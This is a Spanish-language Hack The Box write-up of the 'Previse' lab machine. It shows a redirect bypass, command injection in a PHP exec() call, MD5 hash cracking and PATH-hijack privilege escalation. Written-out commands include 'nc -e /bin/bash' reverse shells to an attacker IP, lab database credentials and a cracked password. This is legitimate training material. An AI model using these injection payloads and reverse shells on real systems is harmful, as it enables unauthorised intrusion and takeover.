

Hack The Box PEN-TESTING LABS

Write-up Máquina Previse



Autor: J0lm3d0





Índice

1.	Introducción	2
2.	Enumeración de servicios y recopilación de información sensible	3
3.	Acceso a la máquina	7
4.	Escalada de privilegios	11

1. Introducción

En este documento se recogen los pasos a seguir para la resolución de la máquina Previse de la plataforma HackTheBox. Se trata de una máquina Linux de 64 bits, que posee una dificultad fácil de resolución según la plataforma.

Para comenzar a atacar la máquina se debe estar conectado a la VPN de HackTheBox o, si se cuenta con un usuario VIP, lanzar una instancia de la máquina ofensiva que nos ofrece la plataforma. Después, hay que desplegar la máquina en cuestión y, una vez desplegada, se mostrará la IP que tiene asignada y se podrá empezar a atacar.



2. Enumeración de servicios y recopilación de información sensible

Lo primero que realizo es un escaneo de todo el rango de puertos TCP mediante la herramienta ${\it Nmap}.$

PORT	STATE	SERVICE	REASON		
22/tcp	open	ssh	syn-ack	ttl	63
80/tcp	open	http	syn-ack	ttl	63

Figura 1: Escaneo de todo el rango de puertos TCP

En la figura 1 se puede observar los puertos que la máquina tiene abiertos. Después, aplico scripts básicos de enumeración y utilizo la flag -sV para intentar conocer la versión y servicio que están ejecutando cada uno de los puertos que he detectado abiertos (Figura 2).

PORT	STATE	SERVICE	VERSION								
22/tcp	open	ssh	0penSSH	7.6p1	Ubuntu	4ubuntu	0.3 ((Ubuntu	Linux;	protocol	2.0)
ssh-l	hostkey	y:									
204	48 53:0	ed:44:40:	:11:6e:8b	:da:69	:85:79	:c0:81:f	2:3a:	:12 (RSA	()		
25	6 bc:54	4:20:ac:1	L7:23:bb:	50:20:	f4:e1:6	5e:62:0f	:01:b	5 (ECDS	5A)		
1_ 25	6 33:c1	1:89:ea:5	59:73:b1	78:84:	38:a4:2	21:10:0c	:91:0	d8 (ED25	519)		
80/tcp	open	http	Apache h	nttpd 2	.4.29	(Ubuntu))				
http-	-cookie	e-flags:									
/:											
	PHPSES	SID:									
1_	http	only flag	g not set								
_http-	-servei	r-header:	Apache,	2.4.29	(Ubunt	tu)					
http-	-title	: Previse	e Login								
_Requ	ested i	resource	was logi	.n.php							
Service	e Info	: 0S: Lir	nux; CPE:	cpe:/	o:linux	<pre>c:linux_</pre>	kerne	el			

Figura 2: Enumeración de los puertos abiertos

Al encontrarse abiertos los puertos 22 y 80, y no contar con ningunas credenciales para el servicio SSH, comienzo a enumerar el servidor web. Al acceder a la página principal, me redirige a la ruta /login.php", en la cual vemos el panel de login que se muestra en la figura 3.

Previse	File	Storage
Login		
A Password		
LOG IN		

Figura 3: Panel login del servidor web

Reviso el código fuente de la página, por si hubiesen dejado algunas credenciales en algún comentario, pero no hay nada. Por tanto, procedo a buscar directorios y/o archivos mediante la herramienta **Gobuster**. Los resultados de la búsqueda se muestran



en la figura 4, donde se ven varias rutas que hacen una redirección a "login.php", por lo que parece que hay que conseguir acceso para ver esas rutas.

/download.php	(Status: 302) [Size: 0] [> login.php]	
/header.php	(Status: 200) [Size: 980]	
/nav.php	(Status: 200) [Size: 1248]	
/footer.php	(Status: 200) [Size: 217]	
/login.php	(Status: 200) [Size: 2224]	
/css	(Status: 301) [Size: 310] [> http://10.10.11.104/cs	s/]
/files.php	(Status: 302) [Size: 4914] [> login.php]	
/index.php	(Status: 302) [Size: 2801] [> login.php]	
/status.php	(Status: 302) [Size: 2968] [> login.php]	
/js	(Status: 301) [Size: 309] [> http://10.10.11.104/js,	/]
/logout.php	(Status: 302) [Size: 0] [> login.php]	
/accounts.php	(Status: 302) [Size: 3994] [> login.php]	
/config.php	(Status: 200) [Size: 0]	
/logs.php	(Status: 302) [Size: 0] [> login.php]	
/server-status	(Status: 403) [Size: 277]	

Figura 4: Búsqueda de rutas ocultas en la raíz del servidor web

Pero, tras revisar de nuevo el resultado, me sorprende que algunas de estas rutas en las que devuelve un código 302 y se hace una redirección a "login.php", tienen un tamaño mayor que 0, lo que podría significar que, antes de hacer la redirección, cargue el contenido de la página. Por tanto, pruebo a capturar una petición a una de esas rutas mediante **BurpSuite**. Realizo una petición a "files.php" y, efectivamente, veo que la página me responde con un código 302, pero me muestra el código fuente de la página, tal y como se aprecia en la figura 5.

Res	Response from http://10.10.11.104:80/files.php						
	Forward Drop Intercept is on Action Open Browser						
Pre	tty Raw Hex Render In E						
1	HTTP/1.1 302 Found						
2	Date: Sat, 09 Oct 2021 18:57:26 GMT						
3	Server: Apache/2.4.29 (Ubuntu)						
4	Expires: Thu, 19 Nov 1981 08:52:00 GMT						
5	Cache-Control: no-store, no-cache, must-revalidate						
7	Pragma: no-cache						
ś	Content-Length: 4914						
9	Connection: close						
10	Content-Type: text/html; charset=UTF-8						
11							
12							
13	html						
14	<html></html>						
15	<head></head>						
10	<pre><meta content="text/ntml; charset=UIF-8" nttp-equiv="content-type"/> </pre>						
18	Smeta Charset= uti-o /2						
19							
20	<pre><meta content="width=device-width. initial-scale=1.0" name="viewport"/></pre>						
21	<pre><meta content="Previse rocks your socks." name="description"/></pre>						
22	<meta content="m4lwhere" name="author"/>						
23	<link href="/favicon.ico" rel="shortcut icon" type="image/x-icon"/>						
24	k rel="icon" href="/favicon.ico" type="image/x-icon" />						
25	<pre>link rel="apple-touch-icon" sizes="180x180" hret="/apple-touch-icon.png"></pre>						
26	<pre>< link rel="icon" type="image/png" sizes="32X32" nret="/Tavicon-32X32.png"></pre>						
28	<pre>k rel="manifest" have image, big sizes= loci mele / avicon-locio.phg /</pre>						
29	<pre><link href="css/ukit.min.css" rel="stylesheet"/></pre>						
30	<script src="js/uikit.min.js"></td></tr><tr><td></td><td></script>						
31	<script src="js/uikit-icons.min.js"></td></tr><tr><td>~~</td><td></script>						
32							
34	ditle>						
0.	Previse Files						
35							
36	<body></body>						
37	and share with another contribute with products						
38	<nav class="uk-navbar-container" uk-navbar=""></nav>						
29	<pre>sulv class= uk-navbar-nav"></pre>						
41	class="uk-active">						
	Home						

Figura 5: Código de la página "files" del servidor web



Además, para las respuestas, *BurpSuite* cuenta con la opción "Render", que interpreta el código y permite visualizar la web como si se hiciese desde un navegador. Se puede ver la web renderizada en la figura 6.

Response from h	ttp://10.10.11.104	1:80/files.php								
Forward	Drop	Intercept is on	Action Open Browser							
Pretty Raw	Hex Render	\n 🔳								
			,	HOME	ACCOUNTS	FILES	MANAGEME	INT MENU	LOG OUT	
		Files								
		Upload files below, up	loaded files in table belo	W						
		Select file	SUBMIT							
		Uploaded I	Files							
		# NAME		ŝ	SIZE	USER		DATE		DELETE
		1 SITEBACKUP.ZIF		ę	9948	newguy		2021-06-12 11:1	4:34	DELETE

Figura 6: Página "files" del servidor web

De esta forma, compruebo el contenido de las diferentes rutas y detecto que la ruta "accounts.php" contiene un formulario que permite registrar una cuenta en la plataforma, tal y como se muestra en la figura 7.

HOME	ACCOUNTS	FILES	MANAGEMENT MENU	LOG OUT			
Add New Account							
Create nev	Create new user.						
ONLY ADM	INS SHOULD	BE ABLE	TO ACCESS THIS PAGE!!				
Username	s and password	s must be	e between 5 and 32 characte	rs!			
오 User	name						
🔒 Pass	word						
Confirm Password							
CREAT	EUSER						

Figura 7: Página "accounts" del servidor web

Para acceder a este formulario burlando la redirección se puede sustituir el código "302 Found" por un "200 OK" al interceptar la respuesta del servidor mediante *BurpSuite*,



tal y como se observa en la figura 8, y enviar el paquete una vez modificado. De esta forma, la página carga directamente en el navegador y puedo completar el formulario, registrando así un nuevo usuario.

Pre	tty Raw Hex Render 🚍 N 😑									
1	HTTP/1.1 200 OK									
2	2 Date: Mon, 03 Jan 2022 15:11:11 GMT									
3	Server: Apache/2.4.29 (Ubuntu)									
4	Expires: Thu, 19 Nov 1981 08:52:00 GMT									
5	Cache-Control: no-store, no-cache, must-revalidate									
6	Pragma: no-cache									
7	Location: login.php									
8	Content-Length: 3994									
9	Connection: close									
10	Content-Type: text/html; charset=UTF-8									
11										
12										
13	html									
14	<html></html>									
15	<nead></nead>									
16	<pre><meta content="text/html; charset=utf-8" http-equiv="content-type"/></pre>									
1/	<meta charset="utf-8"/>									
10										
20	crete para-"viewport" content-"vidth-device-vidth initial-scale-1 0" (>									
20	Ameta name- "description" content- "Dravice rocks your cocks " />									
22	<pre><meta author"="" content="millybera" name="author"/></pre>									
23	<pre><meta hmef="/favicon ico" name="shortcut icon" type="image/x-icon"/></pre>									
24	<pre>dink rel = "icon" bref="/favion.icon" type="image/x-icon" /></pre>									
25	k rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">									
26	link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">									
27	link rel="icon" type="image/png" sizes="l6x16" href="/favicon-l6x16.png">									
28	<link href="/site.webmanifest" rel="manifest"/>									
29	<link href="css/uikit.min.css" rel="stylesheet"/>									
30	<script src="js/uikit.min.js"></th></tr><tr><th></th><th></script>									
31	<script src="js/uikit-icons.min.js"></th></tr><tr><th></th><th></script>									
32										
33	<title></title>									
	Previse Create Account									

Figura 8: Respuesta del servidor web al acceder a la ruta "accounts"



3. Acceso a la máquina

Tras registrar una cuenta y conseguir acceso a la plataforma, accedo a la ruta "files.php" y descargo el archivo siteBackup.zip que había visto previamente. Al descomprimirlo, veo que se trata de una copia de los archivos que componen el servidor web, tal y como se puede ver en la figura 9.

[(<mark>oot</mark> ⊕∣ s -l	kali)-[/	nome//H	TB/Pre	evi	se/c	ontei	nt/s	siteBacku	p]	
.rw-r		j0lm3d0	j0lm3d0	5.6	KB	Sat		12	07:04:45	2021 •	accounts.php
.rw-r		j0lm3d0	j0lm3d0	208	В	Sat		12	07:07:09	2021 -	config.php
.rw-r		j0lm3d0	j0lm3d0	1.5	KB	Wed			08:57:57	2021 •	download.php
.rw-r		j0lm3d0	j0lm3d0	1.2	KB	Sat		12	07:10:16	2021 •	<pre> file_logs.php </pre>
.rw-r		j0lm3d0	j0lm3d0	6.0	KB	Wed			08:51:48	2021 -	<pre> files.php </pre>
.rw-r		j0lm3d0	j0lm3d0	217	В	Thu			06:00:53	2021 -	footer.php
.rw-r		j0lm3d0	j0lm3d0	1012	В	Sat			21:56:20	2021 -	header.php
.rw-r		j0lm3d0	j0lm3d0	551	В	Sat	Jun		22:00:14	2021 -	index.php
.rw-r		j0lm3d0	j0lm3d0	2.9	KB	Sat		12	07:06:21	2021 •	∘ login.php
.rw-r		j0lm3d0	j0lm3d0	190	В	Tue			12:42:56	2021 -	logout.php
.rw-r		j0lm3d0	j0lm3d0	1.1	KB	Wed			08:58:41	2021 -	logs.php
.rw-r		j0lm3d0	j0lm3d0	1.2	KB	Sat			15:31:05	2021 •	∘ nav.php
.rw-r		j0lm3d0	j0lm3d0	1.9	KB	Wed			08:40:24	2021 •	status.php

Figura 9: Contenido del archivo comprimido siteBackup

De estos archivos, comienzo visualizando el "config.php", ya que los archivos de configuración pueden contener credenciales en texto claro en el código y, en este caso, es así, tal y como se muestra en la figura 10.



Figura 10: Contenido del fichero "config.php'

Pero con estas credenciales no puedo acceder a nada, ya que el servicio de base de datos no está expuesto de forma externa, solo es accesible desde el propio servidor. Dándole otra vuelta a los archivos descargados, veo que el fichero "logs.php", es el encargado de sacar un log con los archivos que ha descargado cada usuario. El contenido de este fichero se muestra en la figura 11.



<pre>cat logs.php <?php session_start();</pre></pre>
<pre>if (!isset(\$_SESSIONL'user'])) { header('Location: login.php'); exit; }</pre>
/ />
<pre><rpnp (!\$_server['request_method']="POST")="" exit;="" header('location:="" if="" login.php');="" pre="" {="" }<=""></rpnp></pre>
//////////////////////////////////////
<pre>\$output = exec("/usr/bin/python /opt/scripts/log_process.py {\$_POST['delim']}"); echo \$output;</pre>
<pre>\$filepath = "/var/www/out.log"; \$filename = "out.log";</pre>

Figura 11: Contenido del fichero "logs.php"

Para obtener el log, utiliza la función exec() para ejecutar un script de Python, pasándole como argumento el parámetro "delim" capturado en la petición POST originada en la página "file_logs.php", que se observa en la figura 12.

Request Log Data

We take security very seriously, and keep logs of file access actions. We can set delimters for your needs!					
Find out which users have been downloading files.					
File delimeter:					
comma	÷				
SUBMIT					

Figura 12: Página "file_logs" del servidor web

Al clicar en el botón de "Submit", veremos la petición a "logs.php" que se muestra en la figura 13, donde vemos la variable "delim" con el valor indicado previamente desde el navegador web.

P	retty Raw Hex In E
1	POST /logs.php HTTP/1.1
2	Host: 10.10.11.104
З	User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4	<pre>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</pre>
5	Accept-Language: en-US,en;q=0.5
6	Accept-Encoding: gzip, deflate
7	Content-Type: application/x-www-form-urlencoded
8	Content-Length: 11
9	Origin: http://10.10.11.104
10	Connection: close
11	Referer: http://10.10.11.104/file_logs.php
12	Cookie: PHPSESSID=snqqh3vt2qtkrjiljsbnjopaje
13	Upgrade-Insecure-Requests: 1
14	
15	delim=comma

Figura 13: Petición a "logs.php"



Al ser sustituido el valor de "delim" por un parámetro en la función exec() de PHP, que realiza una ejecución a nivel de sistema, podemos concatenar un comando para ver si se ejecuta. En este caso, pruebo a lanzar una shell a mi máquina de atacante mediante **NetCat**. En la figura 14 podemos ver la petición modificada en *BurpSuite*.

Pi	retty Raw Hex In E
1	POST /logs.php HTTP/1.1
2	Host: 10.10.11.104
з	User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78
4	Accept: text/html,application/xhtml+xml,application
5	Accept-Language: en-US, en; q=0.5
6	Accept-Encoding: gzip, deflate
7	Content-Type: application/x-www-form-urlencoded
8	Content-Length: 11
9	Origin: http://10.10.11.104
10	Connection: close
11	Referer: http://l0.l0.ll.l04/file_logs.php
12	Cookie: PHPSESSID=snqqh3vt2qtkrjiljsbnjopaje
13	Upgrade-Insecure-Requests: 1
14	
15	delim=comma; nc -e /bin/bash 10.10.14.122 443

Figura 14: Petición modificada a "logs.php"



Figura 15: Acceso a la máquina como "www-data"

Como se observa en la figura 15, obtengo la shell y accedo a la máquina como el usuario "www-data". Una vez dentro, consulto la base de datos "previse" utilizando las credenciales que había obtenido anteriormente. En ella, encuentro 2 tablas: "accounts" y "files". En la tabla "accounts" encuentro las contraseñas hasheadas de mi usuario y de "m4lwhere", tal y como se aprecia en la figura 16. Además, el usuario "m4lwhere" es también un usuario del sistema operativo.

<pre>www-data@previse:/var/www/html\$ mysql -u root -pmySQL mysql: [Warning] Using a password on the command line topperserver</pre>	_p@ssw0rd\!:\) -D previse -e "SHOW TABLES;" interface can be insecure.					
Tables_in_previse						
++						
<pre>www-data@previse:/var/www/html\$ mysql -u root -pmySQL_p@ssw0rd\!:\) -D previse -e "SELECT * FROM accounts" mysql: [Warning] Using a password on the command line interface can be insecure.</pre>						
id username password	created_at					
	T					

Figura 16: Contraseña del usuario "m4lwhere" hasheada en MD5



Gracias a la herramienta **HashCat**, logro crackear el hash MD5, obteniendo así la contraseña en texto claro, tal y como se aprecia en la figura 17.

<pre>\$1\$ Ilol\$DQpmdvnb7Eeu06UaqRItf.:ilovecody112235!</pre>
Session: hashcat
Status: Cracked
Hash.Name: md5crypt, MD5 (Unix), Cisco-IOS \$1\$ (MD5)
Hash.Target: \$1\$ llol\$DQpmdvnb7Eeu06UaqRItf.
Time.Started: Tue Oct 12 11:12:19 2021 (8 mins, 16 secs)
Time.Estimated: Tue Oct 12 11:20:35 2021 (0 secs)
Guess.Base: File (rockyou.txt)
Guess.Queue: 1/1 (100.00%)
Speed.#1: 15212 H/s (7.56ms) @ Accel:32 Loops:1000 Thr:1 Vec:8
Recovered: 1/1 (100.00%) Digests
Progress: 7413376/14344385 (51.68%)
Rejected: 0/7413376 (0.00%)
Restore.Point: 7413248/14344385 (51.68%)
Restore.Sub.#1: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1: ilovecody98 -> ilovecloandlivey

Figura 17: Contraseña del usuario "m4lwhere" crackeada

Pruebo a acceder mediante el servicio SSH como el usuario "m4lwhere" proporcionando la contraseña recién obtenida y consigo acceder y visualizar la primera flag, que se muestra en la figura 18.

m4lwhere@previse:~\$ cat user.txt
17965ba0b03270cb341178f081b0202e

Figura 18: Flag de usuario no privilegiado



4. Escalada de privilegios

Durante la enumeración del sistema para la escalada de privilegios, compruebo mediante el comando "sudo -l"si puede ejecutarse algún archivo con privilegios de otro usuario o sin proporcionar contraseña. En este caso, se puede ejecutar "access_backup.sh" con privilegios de root, tal y como se observa en la figura 19.

m4lwhere@previse:~\$ sudo -l					
[sudo] password for m4lwhere:					
User m4lwhere may run the following commands on	previse:				
<pre>(root) /opt/scripts/access_backup.sh</pre>					

Figura 19: Listado de comandos que puede ejecutar mediante "sudo" el usuario

Tras revisar el script, que se muestra en la figura 20, veo que utiliza comandos sin emplear la ruta absoluta, por lo que este script sería vulnerable a un Path Hijacking.



Figura 20: Contenido del script "access_backup.sh"

Para explotar la vulnerabilidad, creo un archivo con nombre "gzip" en la ruta "/tmp", cuya función será la de lanzar una bash, y agrego esta ruta al principio de la variable PATH, tal y como se aprecia en la figura 21.



Figura 21: Preparación para explotar el Path Hijacking

Con esto, una vez ejecute el script utilizando "sudo", obtendré una shell como root. Pero, como se ve en la figura 22, no consigo ver la salida de los comandos que ejecuto, por lo que decido enviarme una shell a mi máquina de atacante y, de esta forma, ya veo la salida de los comandos y puedo visualizar la flag final.



```
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
root@previse:~# whoami
root@previse:~# nc -e /bin/bash 10.10.14.122 443

    (root@ kali)-[/home/.../Documentos/HTB/Previse/explotation]
    # nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.122] from (UNKNOWN) [10.10.11.104] 36562
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
dc8bf89e4c22b9e1419461b1f62228b6
```

Figura 22: Obtención de shell como root y flag final